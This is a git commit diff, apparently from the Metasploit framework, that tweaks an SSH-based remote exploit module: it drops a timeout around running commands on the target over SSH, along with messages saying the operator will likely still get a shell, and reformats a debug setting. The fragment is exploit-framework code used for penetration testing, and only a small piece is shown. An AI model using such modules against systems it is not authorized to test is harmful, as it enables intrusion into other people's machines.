Fixes by the fabled wvu

MS-2855/keylogger-mettle-extension
bwatters-r7 2018-01-17 08:18:26 -06:00
parent 4ca595eb15
commit f439edfa1a
1 changed files with 4 additions and 10 deletions

View File

@ -134,14 +134,7 @@ class MetasploitModule < Msf::Exploit::Remote
def execute_command(cmd, opts = {})
vprint_status("Executing #{cmd}")
begin
Timeout.timeout(5) do
self.ssh_socket.exec!("#{cmd}\n")
end
rescue Timeout::Error
print_error("SSH Timeout Exception will say the Exploit Failed; do not believe it.")
print_good("You will likely still get a shell; run sessions -l to be sure.")
end
self.ssh_socket.exec!("#{cmd}\n")
end
def do_login(ip, user, pass, port)
@ -155,8 +148,9 @@ class MetasploitModule < Msf::Exploit::Remote
proxy: factory,
non_interactive: true
}
opt_hash[:verbose] = :debug if (datastore['SSH_DEBUG'])
if (datastore['SSH_DEBUG'])
opt_hash[:verbose] = :debug
end
begin
self.ssh_socket = Net::SSH.start(ip, user, opt_hash)